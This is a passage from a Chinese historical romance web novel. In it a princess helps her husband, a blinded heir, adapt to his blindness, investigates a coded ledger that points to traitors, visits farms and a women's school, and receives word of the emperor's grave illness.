方才心底的郁闷一扫而空,百里浔舟笑了出来,“那嫌犯也没有旁人呢,只你一个。” 昨夜确实是他久违的一个好觉,许是终于回到了安心的地方,朝思暮想的人便在身侧,即便身有微恙,也能安然入眠。 手被人抓起来咬了一口,他配合得做出吃痛的反应。 封眠这才满意了,接着问道:“准备起了吗?” “起吧,也是该去习惯习惯失去光明的第二天了。”百里浔舟状似轻松道,准备下床时,动作顿了顿。 封眠自然知道他在犹疑时,当即指挥道:“你的鞋在左边。以后便都这么摆,你摆在左边,我的摆在右边。” “好。”百里浔舟在封眠的指令下顺利地穿上了鞋,然后便被她牵着起身。 “来,下来。”她拉着他的手,先一步走下床边脚踏,“踩这里,能感觉到吗?” “这是……?”百里浔舟察觉脚下有几道凹凸不平的触感,像是贴着大小不同的小石子。 “你再拿上这个。” 手心被塞入一个圆圆的竹制长杖,原本握在掌心的手挪到了小臂处,轻轻托着。 “这是母亲给你搜罗来的探路杖,你先拿着试一试,有什么不趁手的地方,便让人拿去改。我在地上用石子铺了条路,你就踩在这上面,不用担心撞到什么东西。” 封眠托着他的小臂,领着他一路往前走。 百里浔舟脚下试探着一步一步踩出,石子凸起的触感很好地与旁边的平地区分开来,一落脚他就知道自己有没有走歪。 行到一处,探路杖没有探到小石子,封眠也跟着拉住他停了下来,“此处往右走,是去洗漱的路,再往前走,便能找到出门的路。昨夜我只来得及贴了屋子里的地,今日一早我便吩咐他们去将院子里也贴上。起码在藏弓院内,你想去哪里都行。” “现下么,先去洗漱吧。” 百里浔舟一面听话地跟着封眠拐弯,一面蹙眉问道:“你忙了一整夜?” 语气里显而易见的心疼。 封眠忙拍拍他的手臂,否认道:“寅时我便睡下了,也没有忙一整夜。” 百里浔舟心下一软,将探路杖换到另一只手里,空出的手牢牢握住封眠的手。 两人就这样在屋内熟悉了两圈,转到第三圈时,王妃和封辞偃便一起出现在了院门处。 院内正热火朝天地铺着石子路,两人看了皆是一愣,流萤和雾柳迎上前来,一面将两人往院内领,一面解释这些石子路是特意铺给世子殿下用的。 透过敞开的屋门,封辞偃和王妃便瞧见夫妻两个在屋内转着圈熟悉路线的模样。 封辞偃扫一眼屋内,发现锐利的桌角处都被包上了柔软的布条,当下调侃道:“看来世子殿下失明后,日子过得更加滋润了。” 百里浔舟闻言笑得眯起了眼,仗着自己如今眼盲,封辞偃必不敢如何挑他的刺,高挑修长的身子弱柳扶风地往封眠身侧一靠,“是啊,我也不想让眠眠这么辛苦,可她放不下心,处处都要为我着想一番,我也只好听她的了。” 傅辞偃露出没眼看的神色,撇过头去。 王妃笑盈盈的打量了一番地上铺的石子路,啧啧赞叹:“还是阿满有主意。回头让他们去将藏弓院外头也都铺上这种石子路,让阿琢在府内四处多走走。” 王妃只略略坐了一会儿,知道封辞偃与他们还有正事要说,只叮嘱了两句便走了。封眠将一切都打理得极好,她实在是没有什么不放心的地方。 屋内一时静了下来,封眠起身将门窗紧闭,才又坐回桌边。只不过离开这瞬息,百里浔舟便有些急切地握上了她的手。 封辞偃见他这一瞬流露出的一点慌张,心下也是一叹,难得与他和颜悦色几分,“若当时我将你拦下来就好了。” 百里浔舟却是轻笑一声,故意带着几分为难道:“我尚且年轻,身体底子好,才没什么大碍。若换小叔叔进去,如今是何情状,可不好说。” “啧,你这小子……!”封辞偃手一拍桌。 封眠不赞同地看他,“小叔叔,阿琢如今不能视物,你莫要欺负他。” 好小子,拿这处伤当免死金牌呢?封辞偃没好气地瞪他一眼,想到他现在看不到自己的白眼,更气了,干脆换个话题:“你在矿洞内可有寻到什么?” 百里浔舟收起了调笑的神色,肃容道:“我看到了他们的账册。” 封眠和封辞偃皆是一惊,旋即又同时失落起来,“爆炸那么大,怕是账册也都毁了。” “爆炸太突然,我只来得及将手上拿着的那一本护在怀中。”百里浔舟微微向封眠的方向侧首,“你……山衣替我换衣裳时,可有看见?” “好像是有一本册子。”封眠再次起身,匆匆去柜子里翻出一本破旧的册子来,“上面的符号很奇怪,还真看不出这竟是一本账册。” 否则她也不会直接忘到了脑后。 封辞偃接过那本账册翻看几页,挑了挑眉:“这似乎是北夷某个部族的一种古老文字,我曾经接触过一点点,不过若想完全破解,需要一些时间。” 封眠握了握拳:“看来大雍真的出了内贼。这账册用如此严密的文字写就,想来记录的信息并不简单,说不定破解了它,我们就能知道盛京城中,究竟哪些权贵与北夷暗通款曲……” 妄想颠倒朝纲,谋害定北王和百里浔舟,在刚刚平和十数年的大雍搅起腥风血雨。这些人,竟然要付出代价。 “放心,我定会将此事查个水落石出。”百里浔舟察觉到封眠压抑的情绪,安抚地摩挲着她的手背, “哎,少说大话,没有你什么事了。”封辞偃隔空点了点百里浔舟,将账册妥帖地收入怀中,“都伤成这样了,你还是先把眼睛养好了再说吧。此事我会与王爷商议的,你们两个小家伙少操点心。” “不用送了,继续练习走路吧。”封辞偃转身挥手,走得潇洒。 百里浔舟顿时丧眉搭眼,像被雨水打湿的小狗。封眠搓搓他的脸,“小叔叔说的对,你现下最重要的是先养好眼睛,旁的事之后再说。” 他夸张地叹一口气,可怜兮兮地卖惨:“我这样是不是很没用?” 一面说,一面小狗依人地贴进封眠怀里。看起来像是为了讨她的怜惜而故意流露脆弱。 他就这样半真半假 地,用一种不会让封眠担忧的方式,将真实的脆弱情绪藏在其间。 封眠配合得胡噜胡噜他的发顶,“怎么会呢?都是小叔叔的错,下次他再来,我替你说他。” 等在门外的柳寄雪将内间动静听了个分明,终于忍俊不禁,无奈摇头,屈指叩响门扉:“二位,若想早日康复,可否先容我把个脉?” 第103章 一条玄色绸带轻轻覆在百里浔舟紧闭的双目之上,细带在脑后利落系妥,垂下两道窄长的飘带。 “这样便好了吗?”封眠松开系带的手,转到百里浔舟身前,托腮欣赏一番自己的杰作,玄色绸带的边缘抵在高挺的鼻梁上,恰好露出鼻梁上的那一枚小痣,好看极了。 若不是身旁还有第三人,真想亲亲他。 “嗯,白日里最好一直戴着,以避强光。”柳寄雪粗略地扫了一眼,便继续低头提笔,在纸上写着什么,“我开一个新的药方,先吃两日看看效果。” “好,有劳你啦,每日都要过来复诊一番。”封眠殷勤地单手倒了杯茶推到柳寄雪手边,然后便被百里浔舟捏了捏手心,张嘴示意他也要。 封眠便又倒了杯茶,递到了百里浔舟的唇边。 百里浔舟就着封眠的手啜饮茶水,心下漫无边际地胡乱想着,眼盲倒也有眼盲的好处,可以光明正大地一直牵着眠眠的手,能理直气壮地示弱,黏在她身边,大胆地提出一些他以前根本不敢想或是觉得有些丢脸的请求。 若是在迅速治愈的前提下,多眼盲几日…… “医者本分罢了,不必如此客气。”柳寄雪冲封眠温柔一笑,转而瞟了百里浔舟一眼,语气加重了一些,“只要病患别太乐不思蜀,故意不配合治疗,有意拖延疗程便好。” 正咬着茶盏胡思乱想的的百里浔舟闻言,乖乖巧巧地端正一坐,摆出一脸的端方无辜,“本世子岂是那般不知轻重的无脑之人。” 柳寄雪勾勾唇角。她与百里浔舟做了这么多年的邻居,以前又在暗处默默观察他许久,不说对他十分的了解,但看他如今这幅恃宠而骄,连茶水都要让人喂到嘴边的模样,多少也能猜出两三分来。 她又默默不赞同地看向封眠,她可不信封眠就没看出他那点小心思。 封眠眨眨眼,完全没脾气地笑了笑。这点小事就满足他嘛,她也不觉得有什么不好。 “对了,上回走得匆忙,只与几位女夫子见了一面,什么事都未来得及处理,她们这几日可还算适应?” 柳寄雪回想了一下:“郡主将一切都准备齐全了,几位夫子们都说没什么不便的地方,身有微恙的几位也很快便调理好了身子。书馆正式开放后,我偶尔去授课时遇着她们,都是笑盈盈的,想来应当确实适应得不错,并非为了不让我等担心而硬撑。” “那就好。”封眠一听便放下心来,“我今日想出门去看看东郊的荒地,还有几处书馆的情况。阿琢现下与我一道出门应当没事吧?” 百里浔舟顿时炯炯有神地“看”向柳寄雪的方向。 “出去走走也好,绸带系好不要见强光就没事。” 于是一炷香后,封眠便与百里浔舟坐到了马车上。流萤和雾柳一致很有眼色地没有跟进去,天晓得世子殿下都将郡主黏成什么样了,她们才不想跟着碍眼呢。虽说世子殿下是看不见她们了,但她们也不想总是盯着小夫妻看呀。 应了封眠的吩咐,马车内的矮桌被收了起来,腾出宽敞的空间,以免不小心磕碰到百里浔舟。 在狭小的马车车厢内,失明后初次外出的不安似乎得到了些微的缓解,百里浔舟全然放松地倚在封眠身侧,姿态闲适不羁,后脑轻靠着微震的车壁,下颌微微扬起,线条利落惹眼。 遮眼的玄色飘带与冷白的皮肤对比强烈,将唇色衬得多了几分嫣红。绸带在脑后垂下的飘带随意落在他颈侧,随着马车的前行轻轻摇曳,拂过微微滚动的喉结。光线不时自晃动的窗幔缝隙中投在他身上,整个人的身形如倾颓的玉山,忽明忽暗,看起来脆弱又矜贵。 封眠单手支颐,看得入了神,心口一烫,没忍住凑上前,在微凉的薄唇上亲了一下。 百里浔舟扬眉,微微侧首,薄唇微张便是一句控诉:“你轻薄我。” 他双目被掩在绸带之下,明明知道他不能视物,封眠却还是被“盯”得浑身滚烫。 她哼哼两声,理不直气也壮:“是啊,你要报官吗。” 百里浔舟微微垂首,眉峰轻轻地蹙了起来。他的眉骨生得极其优越,平日里因为眼型生得锐利,蹙眉时便显出几分冷脸凶相,但如今双目遮在绸带下,这样一垂首一蹙眉,便透出几分我见犹怜的意味来。 他副被纨绔欺辱的良家子模样,“你贵为郡主,什么官敢治你的罪?” 封眠指尖轻抬他下颌,学着纨绔恶霸的散漫强调:“那你便去定北王府,寻那位世子爷做主。他是我的夫君,定然会为你主持公道。” 百里浔舟忽然凑近,鼻尖几乎要触到她的脸颊,温热的呼吸交错,“是吗?可我听说那位世子殿下是个小肚鸡肠的,他定不会给我什么好脸色。” 他压低嗓音,略略蛊惑道:“不若你休了他,与我私奔吧?” “好啊。”封眠答得干脆。 百里浔舟佯装着恼地扬眉,唇角却噙着压不住的笑意:“答应得这般爽快?那世子殿下该如何是好?” “好办。”封眠眼波流转,“让他做个外室便是。” 额头被不轻不重地撞了一下,百里浔舟闷笑一声:“太坏了,糟糠之夫也不是这般始乱终弃的。” “那怎么办呢?” “太贪心的人,应该受到一些惩罚。”语声消弭在相触的唇间。 …… 马车缓缓停稳。 封眠唇色嫣红地走下马车,反身扶着百里浔舟下车。 东郊荒地的田垄之上覆着薄雪,金灿灿的日光洒落在白雪之上,有些刺目。 封眠忙抬手替百里浔舟遮了下光,“可有觉得不适?” “无碍。”他轻握她的手腕放下,玄色绸带在风中微扬,“我在此处等你?” “郡主殿下,世子殿下。”顾春温和成立虚远远便望见了封眠的马车,自田垄中赶上前来行礼。 “不必多礼,我与世子只是过来瞧一瞧情况。他们身上的衣裳……”封眠遥目望向田垄间劳作的身影,依稀可见他们穿得还算厚实。 “近日天气骤寒,臣便擅自做主,将冬被和冬衣提前发放,还望郡主恕罪。”顾春温连忙拱手禀道。 成立虚忙跟着行礼:“望郡主恕罪。” “正该如此。我也正担心着,若让人冻着病着还要劳作,未免不近人情。顾大人思虑得正甚。” 成立虚偏头和顾春温眨眨眼,他就说郡主殿下定然不会怪罪的。 他跟着汇报道:“郡主,土豆和红薯再有几日便可收获,届时定第一时间送去王府。” 他不说,封眠都要忘记这一茬已经播种的种子了,她也多出几分期待来,点头应道:“那我可等着了。” 顾春温忽遥指远处:“成大人,那边似乎有人正在寻你。” “定是播种上又遇到了难题,这些事也只有我只能解决了。”成立虚挺直了胸膛,“下官先告辞了。” 待成立虚匆匆远去,顾春温才引着二人沿田垄慢行两步。四野空旷,正适合密谈。 “矿洞爆炸应是罗家手笔。”他压低声音,“我观罗驰尔的只言片语,罗家背后之人并非几位王爷,而是某位身在盛京的皇子。” 早早逝去的先皇后并未留下子嗣,柔妃也只有一个女儿。他们到底想扶持哪位皇子? “他们既有如此大动作,想来已是蠢蠢欲动。”封眠蹙眉,“与罗驰尔虚与委蛇还是太过危险了,万一被发现……” “郡主放心。”顾春温从容道“几番接触下来,罗驰尔的手段确是下作,人倒其实没那么聪明。他在家中只是个庶子,不算太受重视,因此用力地想要讨罗公欢心,反倒容易看透。” 他深深望一眼封眠,“多谢郡主提醒,接下来臣定会更加小心。” 他说着抬眼看向百里浔舟,“世子殿下更需万分谨慎。若他们是知晓殿下入了矿洞,才动手引爆……恐怕从一开始就对世子与王爷存着杀心。一击未中,说不得什么时候便会再次动手。” “多谢提醒。”百里浔舟颔首,“罗家远在京城,我们在此鞭长莫及,此事还是要上报与陛下。只是无论是奏折,或是密报,恐怕都不安全。” “能否让轻衣私下走这一趟?”封眠思忖着,“就说是替我送家书。仲秋时,来送节礼的使臣说舅舅病了, 我心下担忧,便遣人去问。” “如此甚好。时人对女子多含轻视,想来不会过多探查郡主的一封家书。”顾春温点头赞同。 百里浔舟自然无有不应,轻衣最擅长神出鬼没,派他去送信再合适不过。 敲定此事后,封眠与百里浔舟又往书馆行去,刚下车就被得了消息的百姓们拦下了。 百姓们十分有秩序地将一行人团团围住,七嘴八舌地将手中挎着的篮子往侍卫手里塞。 “这是今早刚摸的鸡蛋,给世子殿下补身子!” “我一早去西山的庙里给世子殿下请了平安符,定能保佑殿下的眼睛早日复明!” “天可怜见的,怎么偏叫咱们世子殿下受这般大的罪!” 封眠温声安抚:“诸位放心,有柳神医为世子诊治,不日便能痊愈了。” “你骗人!”人群中忽然钻出个总角小儿,扯着嗓子嚷道,“眼睛瞎了就好不了了,世子殿下瞎了眼睛就完蛋了,以后再也不能上阵杀敌……啊!” “你个臭小子浑说什么!”他话音未落,就被身旁一名妇人拦腰按在膝头,蒲扇般的大掌用力地拍上他的臀。 “我没胡说!巷口的王二狗他们都这么说,殿下看不见了,北夷人就要打过来了!” 封眠与百里浔舟交握的手紧了紧,如此有针对性的流言,必是有人蓄意散布。 第104章 唰—— 雪亮寒光在日光下闪出耀目之色。 “谁说我目不能视,便不能上阵杀敌了?” 百里浔舟反手抽出侍卫腰间佩刀,下一瞬寒光破空,刀风掠过十步外的枯树,碗口粗的枝桠应声而断,断口平整如削。 “纵使双目长寂,”他还刀入鞘,语声朗朗,“百里浔舟依然是百里浔舟。定北军常在,必能护百姓安宁。何来宵小胆敢犯境!” 人群中静默一瞬,随即爆发出更热烈的回应。 “世子殿下说得是!殿下和定北军在,就没人敢来犯!殿下可一定要好好养着身体,至于那些嚼舌根的玩意儿,咱们才不信呢,回头再见着,必替殿下收拾咯!” 之前胡乱嚷嚷的总角小儿将头迈进了妇人的怀里,一声不敢吭。 “就是!若是北夷崽子敢来,老子第一个扛锄头跟他们拼了!” 封眠望着群情激昂的百姓,唇角微扬,微微颔首道:“北疆永安,亦要靠诸位携手同心。我与世子殿下先在此谢过诸位的理解与支持了。” “郡主言重了!”“不敢当不敢当啊!”“郡主您与世子去忙吧,实在是抱歉……”百姓们纷纷摆手,各自行了礼便散去了。 封眠这才扶着百里浔舟往书馆内走,轻声道:“回头我便将此事事告诉九哥,处置流言这种事,还是他更在行。” “好。记得与九哥说,待诸事尘埃落定,我便派人护送他去见苍狼部圣女。”百里浔舟笑道。 书馆内飘着淡淡的墨香,廊下洒扫的侍女低声背着《三字经》。 “三才者,天地人。三纲者,君臣义……” “你背岔啦,是‘三才者,天地人。三光者,日月星’,然后才是‘三纲者,君臣义’。”廊外打理枯枝的侍女回头轻声提醒。 “是吗?我再看一下。”洒扫侍女停了停手,自胸前取出一本小册子,捧起刚要翻开,余光便瞧见了走近的人影,忙将册子揣回去i,匆匆行礼,“奴婢见过郡主殿下,世子殿下。” “不必多礼。夫子们在何处?”封眠虚虚一扶,示意她起身。 “在后院,两位殿下随奴婢来。”洒扫侍女十分雀跃地起身,借着转身引路的空隙,她的目光好奇地飞到了封眠的脸上,悄悄将这位传说中的郡主瞧了个真切。 她是刚刚从庄子上分配到书馆来的侍女。得知消息时,同屋而住的小姐妹还颇为同情,说是离了庄子,伺候主子们的机会就少了,见不着主子们,就更出不了头得不了赏,一辈子只能做个洒扫侍女了。她也只当是换了个地方听差使,并未觉得此行会有什么不同。 可来了之后她觉出好来。书馆环境清幽,几位夫子都是有修养好脾气的女子,从不打骂下人,来书馆的多是平民女子,无论年纪长幼,待她们也都极为和善。比起在庄子上总被几位管家数落的日子,真是再舒心不过。 不过最为重要的,却是她竟也能跟着读书了。每日洒扫路过廊下,她都能听见屋内传来姑娘们朗朗的读书声。以往见家中阿弟被送去学堂读书,她并没有什么羡慕的心思,毕竟女子与男子总是不同的。可如今见这么多姑娘们都能端坐厅堂内读书,她便渐渐生出自己是不是也可以读一读书的心思来。 有一日她正抱着扫帚在廊下听得入神,,被王夫子瞧见了,她惶惶不安地等待斥责时,却被夫子温和地牵着手领进屋内,让她坐下听,还说以后若是遇见感兴趣的课,都可以暂停劳作,直接入内旁听就是了。 而这些,都是托郡主的福。拐入通往后院的角门时,她慢下脚步落到郡主身后,偷偷再抬眼望向她的背影,视线滑向一旁眼覆玄色绸带的百里浔舟,心下想着:郡主生得漂亮,又积了这样厚的福泽,上天必然舍不得让郡主伤心难过,世子殿下的眼睛肯定能很快复明! 还未进后院的门,便遥遥听见了一阵舒朗的笑声。 后院生着一株老梅,躯干有两人合围般粗壮,尚未开花的枯枝上海残留着几点残血。树下未化的积雪被堆成几个憨态可掬的小雪人。 五位披着各色斗篷的女师正在围炉煮茶,石桌上散着诗稿茶点,众人皆是兴致勃勃的模样。见封眠和百里浔舟走来,她们忙起身相迎,红泥小火炉在身侧咕嘟嘟冒起蒸腾的白雾。 “不必拘礼,大家都坐吧,自在一些。”封眠含笑摆手,先搀着百里浔舟挨着树干旁的小巧石凳坐稳,又担心挨着树坐得太近污了衣裳,拖着小石凳往自己的方向挪了挪。 百里浔舟任她摆布着,身上半点肃杀之气也无,看起来十分的温和好脾气,再加上他双目之上覆着绸带,更是敛去了几分令人紧张的锐利之色。本来因为他的到来而有些拘谨的众人,见他在郡主面前这般温顺姿态,都略略松了口气。 唐玉诗笑着调侃一句:“郡主与世子殿下真是鹣鲽情深,我等在江南时听见的传闻,果然都是假的了。” “什么传闻?”百里浔舟倏地抬首,循着声音转向唐玉诗的方向。 话说出口唐玉诗才觉得有所不妥,“世市井流言本就不足采信,世子殿下也只当个笑话听就是了。” 她先找补了一番,才继续道,“无非还是一些陈词滥调,传言世子殿下凶神恶煞,杀人如麻,郡主娇弱贵女,才入云中郡便遭冷遇,险些被赶了出去。后来郡主去开办互市,又传郡主与世子夫妻失和,郡主这才愤而远走……” 百里浔舟听得眉心一抽,以往他也知道外头对他的传言大多都不太好听,却是从来没在乎过的,可听见封眠的名字与他放在一起被这样无端揣测,编造情感破裂的故事,心底的火气便忍不住冒了上来。 细长眉眼的崔女师连忙圆场,“如今我们可都瞧真切了,传言尽是不可信的。待往家中写书信时,定为世子殿下正名。” “是啊,两位殿下如此情深意笃,分明应是世间夫妻的楷模才对。” 几句话又令百里浔舟从阴转晴,紧抿的唇线柔和下来。他偏头朝向封眠的方向,手掌在石桌下握着她的手腕,“如此,便先谢过诸位了。” 圆圆脸的袁女师适时斟茶,热气袅袅升起,清淡的茶香弥漫开来。 王媛青推过一叠灰扑扑的点心,“这是今早一个学生送来的,说是自家做的麦饼,虽是粗粝了些,但别有风味。殿下尝尝?” 封眠拿起一块麦饼,先掰了一点递给百里浔舟,才又掰了一块送入自己口中,细细咀嚼,浓郁麦 香在唇齿间漫开,她眼中漾起笑意,“确实香甜。今日本是想来看看诸位有没有什么需要排忧解难之处,如今看来我是白跑一趟了?” 王媛青笑叹:“不瞒郡主,初来时,我还忧心会门庭冷落,辜负了郡主的聘金。没想到邻里乡亲听闻是郡主鼓励女子多读些书,竟都争相将女儿送来。那些小姑娘们还说日后要成为郡主殿下那样的人呢。” “何止是说说而已!”另一位崔女师接话,“这大雪那日,她们先要帮家中扫雪备柴,忙得团团转,却还是挤出半个时辰、一个时辰的时间过来听课念书。看她们努力的劲头,真是叫人喜爱。” “要我说,最难得的还是她们的心意。”唐玉诗笑着补充,“虽是再三强调了不必交束脩,这些孩子还是三不五时地偷偷来送些果子点心,见我们不收,便搁在窗下就跑走,有时都不知道这些东西是谁送的,退不回去,又不好浪费,便只能收下了。” 袁女师自袖中取出一方绣着木槿的绢帕,眸光温柔:“前日还有个丫头塞给我一方帕子,她知道我喜欢木槿,便绣在了上头。我都没舍得拿出来用。” 几位女师面上尽是欣慰。以往她们都是受雇于钟鸣鼎食之家,领了聘金教雇主家的闺秀读书习礼,还是头次如学堂里的夫子一般教这么多女学生,都觉得新奇地很,七嘴八舌地说了许多。 封眠就一边听着,一边挑拣一些零嘴点心果子塞到百里浔舟手里,让他在旁边慢慢吃,免得他闲时无聊。 百里浔舟无奈地弯起唇角,只能照单全收。 直坐到暮色四合,二人方才告辞。 马车辘辘行过青石路,封眠掀帘望着渐次亮起的灯火,“晚膳想吃些什么?是回府上吃,还是在外面吃?我听九哥说有几家酒楼还不错……” “还吃?”百里浔舟微微苦着一张脸,将封眠的手捉过来,隔着衣裳放在肚子上贴了贴,“在书馆时你不停地投喂,我就没住过嘴,现下肚皮怕是都要撑破了。” 封眠挑眉,掌心在他腹上不客气地摸了一把,只摸到了紧实坚硬的肌肉,哪有那般夸张? “哪里要撑破了?我再摸摸看。”她眯眼笑起来,指尖在绷紧的腹部流连忘返。 “好了好了,别摸了。”百里浔舟耳根通红地讨饶,将她的手扣在掌心。 封眠没再动弹,想到他下午时确实吃了许多零零碎碎的吃食,再吃怕是就要积食了。 “是我的错,光想着不能冷落你了。”封眠苦恼,“可若只吃零嘴不吃饭,可不太利于病患回复啊。” “让厨房熬一点山药薏米粥可好?很是健脾益胃,我陪你用一些。” “只陪我用一些吗?”百里浔舟故作为难地皱皱眉心,侧首附到封眠耳侧,嗓音低低的,“不能喂我吃吗?” 肩头被下巴磕了一下,封眠还是妥协了,“看在你是个病患的份上。” 第105章 关于百里浔舟眼盲的流言及时交予了褚景淇解决,并未在云中郡掀起什么大乱子,反而将“世子殿下目不视物还能百里之外取敌首级”这种夸张的谣言传到了周边的城镇,弄得百里浔舟近两日压力很大。 如今他也不等着封眠起身后,缠磨着她为自己穿衣,总是前一晚让封眠将衣裳挑好摆在贵妃榻上,一睁眼便默默地自己起身,踩着屋内的石子路踱到贵妃榻旁,按着睡前摆下的顺序自己将衣裳穿好,再踩着石子路摸到院子里,开始练功。 他的适应能力着实远超常人,才不过几日时间,只要封眠不在旁边看着,他不用探路杖辅助,也已经能在石子路上走得如履平地,与寻常人无异。虽还没正式尝试过能否“百里之外取敌首级”,但靠着听声辨位之能,百米之外移动靶命中红心已然全无问题。 柳寄雪来例行把脉时说:“如果没有意外,或许再过一两周的时间,世子殿下的眼睛便能慢慢地视物了。” 头次从柳寄雪口中听到了确切的康复时间,封眠大喜过望,而百里浔舟则颇有些得意地冲封眠扬了扬眉,神采飞扬道:“我果然是身子骨康健的。打小我就比旁人结实,偶尔病一两次也好得极快,如今便是眼盲这样的大毛病,也很快便能好了。” 言辞间,仿佛自己“生病好得快”也是一件十分值得骄傲的事。 但封眠也不得不承认,这就是一件非常值得骄傲的事!王府上上下下悬着的一颗心,终于可以搁回肚子里了。 为了庆祝百里浔舟即将治愈眼疾,封眠决定当晚要亲自为百里浔舟炮制一番土豆红薯宴。 紧赶慢赶栽种下的土豆和红薯已在两日前迎来了一番丰收,虽然因未能来得及培育优种,许多地也还是刚开辟出来的荒地,收获的土豆和红薯个头都不大,模样也有些丑,数量上也算不得丰收,但当初半信半疑的百姓们却已是十分震惊欣喜了。 虽然情感上选择了相信郡主,但他们谁也没有抱着十分确切的希望期待着真能种出什么东西来,而且还是味道不错、极具饱腹感的吃食。光郡主贴出来的吃法就有数十种,他们这个冬日不但能吃得饱,而且还能吃得相当不错了。 至于因各种原因拒绝了播种的百姓则是悔不当初,这两日闻着邻里传来的香味,悔得直拍大腿,开始四处打听下一波种子什么时候能种,错过了第一次的机会,第二次可万万要把握住了。 成立虚等司农署官员忙得脚不沾地,却是喜气洋洋,试种的成果绝对算得上是喜人,待他们写成奏折呈上去,必然少不了嘉奖。再待日后培育良种,传至大雍其他府镇,他们的名字可就确凿无疑地在史书上占据一席之地了! 如此一来,他们对郡主便更是推崇感激,送到王府来的土豆和红薯自是精挑细选之后的成果,个头圆润漂亮,王妃吃过一次后便顿顿惦记着,催着府上的厨子做新花样。 然而再花样百变,封眠最喜欢的还是最朴素的烹饪手段。 傍晚余晖斜挂,小厨房里灯火通明,封眠拉着百里霸占了炉灶。 其实她很想搬着小炉子坐到院中去,但夜里头风凉,百里浔舟怎么都不许她胡闹,便只能退而求其次,在小厨房中守着炉灶。 灶膛内红彤彤,火舌卷着木炭,哔啵作响,甜津津的味道裹在炭火味中渐渐漫溢了出来,将小小一间厨房填满。 百里浔舟有些怕热,微微向后靠坐着,离燎人的火气远了些,此刻又被扑鼻的香甜味道勾引着向前倾了倾身,“烤好了吗?” 封眠拿着长长的火钳给红薯翻了个身,抬手挥了挥飞出来的炭灰,“快了快了,皮已经焦了,再翻身烤一会儿。” “好饿啊,让它快一些。”百里浔舟捂了捂肚子,往封眠的背上靠。为了等这一顿庆祝的饭,他午间只吃了少少一点,之后便什么也没吃,此刻当真是饿得前胸贴后背了。 前头火光熏着,身后又贴上一个热源,饶是封眠都有些受不住了,她搁下火钳,反手托着百里浔舟的下巴,掐住了他两侧的脸颊肉,将他推远一些,“好热,你别贴着我,我……” 她眸光向后一瞥,蓦地顿住了,抿住唇角,终是没忍住噗嗤笑出声来。 方才她又是捏火钳,又是拍炭灰,手上灰扑扑一片,在百里浔舟的下巴和颊侧印上了两道黑印子,像突然冒出的一圈胡茬,又可爱又好笑。 百里浔舟一脸茫然,不知道发生了什么。 “你别动,脸上沾灰了,我帮你擦擦。”封眠自然不会告诉他,他脸上的灰是自己蹭上去的,拈起袖子一角便去擦灰。 “什么味道?”百里浔舟鼻翼微动,忽然睁大了眼睛,“糊了,快快,要糊了!” 可恨他虽练就了盲眼射移动靶,此刻也无法火中取“薯”,只能摸索着一把将封眠的身子转向灶台,让她速速动手。 封眠手忙脚乱地将四枚红薯夹了出来丢到地上,她用火钳扒拉着滚烫的红薯查看,表皮皱巴巴的冒着油,还沾着些灰烬,有一两处焦黑,但并不算太多。 “好像还行,虽然糊了一点点,但是不影响。”她用手当做扇子在红薯上方扇着风,尝试着捏住薯角将它拎起来,被烫得失败了好几次。 她的手指太过柔嫩,往复几次,便被烫得红了起来。 “我来吧。”百里浔舟自觉皮糙肉厚不怕烫,抬手握住封眠的手臂,顺着小臂向下,探到了红薯上方,大掌一捞便将红薯拿了起来,在手中轻轻一捏,焦脆的外壳便咔地裂开,被轻易掰成了两瓣。 一股甜丝丝的热气便迫不及待 地涌了出来,带着浓郁的蜜糖的焦香。 金黄灿烂的瓤肉冒了出来,看起来湿润绵密,在火光下泛着诱人的琥珀色的光泽。 百里浔舟只是闻着味道便没忍住咽了咽口水,他对着瓤肉吹了几口气,然后缓缓递向封眠的方向,“你尝尝。” 封眠小心翼翼接过,生怕动作大些,将顶端饱满的瓤肉震得掉到地上,沾上炭灰可就没法吃了。她将半块红薯碰到嘴边,嗅到红薯皮的焦香和瓤肉的甜蜜,小心翼翼地咬下一口。 软糯的甘甜瞬间充斥了口腔,让人顾不得烫,一边呼气,一边胡乱嚼了两下,绵密的瓤肉便顺着喉头滑了下去,四肢百骸都暖了起来。 “好香啊。若是冬日时外头下着雪,在暖和的屋里烤着火,再烤着红薯,那才是神仙日子呢。”封眠畅想起来,这个冬日,一定能过得平和又幸福。 百里浔舟已三两口将手中的红薯吃尽了,闻言点头赞同,“今年种的还少了些,待到明年,粮仓里堆满了粮食,人人都能过一个丰年了。” 两人光想一想就笑弯了眼,高高兴兴地将剩下的红薯分食了,吃得满手黏糊糊黑漆漆,只能又喊了人打热水来,一点点将指尖洗净。 夜色方才深浓起来,院外头忽然响起杂乱的脚步声,“郡主殿下,宫里来人了!” 封眠愕然,两手还在滴水,但已等不及擦干,便跑出了小厨房,“可有说是什么事?” 仲秋时才派人来过,才过去一两月而已,怎会又频繁地派人来北疆?她心底突然隐隐有些不好的预感。 院门处踉跄走进来一个有几分熟悉的身影,门下悬着的竹编灯笼照亮他那张惨白的脸,显然是忙于赶路疏于休息的模样。 封眠怔了怔神,认出他是舅舅身边随侍的大监所收的一名义子,似是叫什么秋实,颇为得宠。 他甚至等不及封眠从藏弓院去往前厅这几息的功夫,便主动跟了过来,定然有什么紧急的消息。封眠抬手扶住了小厨房的门框,指尖用力得些微发白,双目紧紧盯着秋实走近。 “秋实公公怎么来了?”她问,声音尚且平静。 身后贴过来一个身影,百里浔舟起身扶着墙走到了她身后,让她心神稍稍安定了些许。 秋实瘦削苍白的脸上挤出一点笑来,“郡主竟还记得奴婢。” “奴婢此番来是因着……”他略客套了一句,便顿了顿,眉尾压了压,是一副哭丧的模样,“陛下身子不大好了,想召郡主殿下回京一叙。” 扶着门框的手骤然攥紧,指甲在木质门框上划下一道刻痕。 “怎么回事?仲秋时还只是小伤寒,如今怎么就不大好了?你说清楚些!”封眠急切催促着,声音难得带了些厉色。 “这、这太医说……”秋实噗通跪下了,语带哽咽,“说风寒不过是个引子,陛下忧思过甚,近半年来一直小病不断,终是彻底发了出来,如今已是咳血不止!陛下担心见不到郡主最后一面,命奴婢快马加鞭赶来传讯。” “不许胡说!什么最后一面,不会是最后一面!”封眠呵斥一句,身子急得发抖,身后一条手臂将她揽入怀中,不停地安抚着。 “秋实公公一路辛劳,且先去休息休息吧。明日郡主再邀公公相见。”百里浔舟冷静吩咐着。 秋实公公叩谢过后,便随雾柳离开。 封眠转身攥住百里浔舟的衣襟,眼底泪珠无意识滚落,“怎么会呢?我离京时,舅舅的身体分明还很康健!这还不到一年,既没有生战事,也没有什么……” 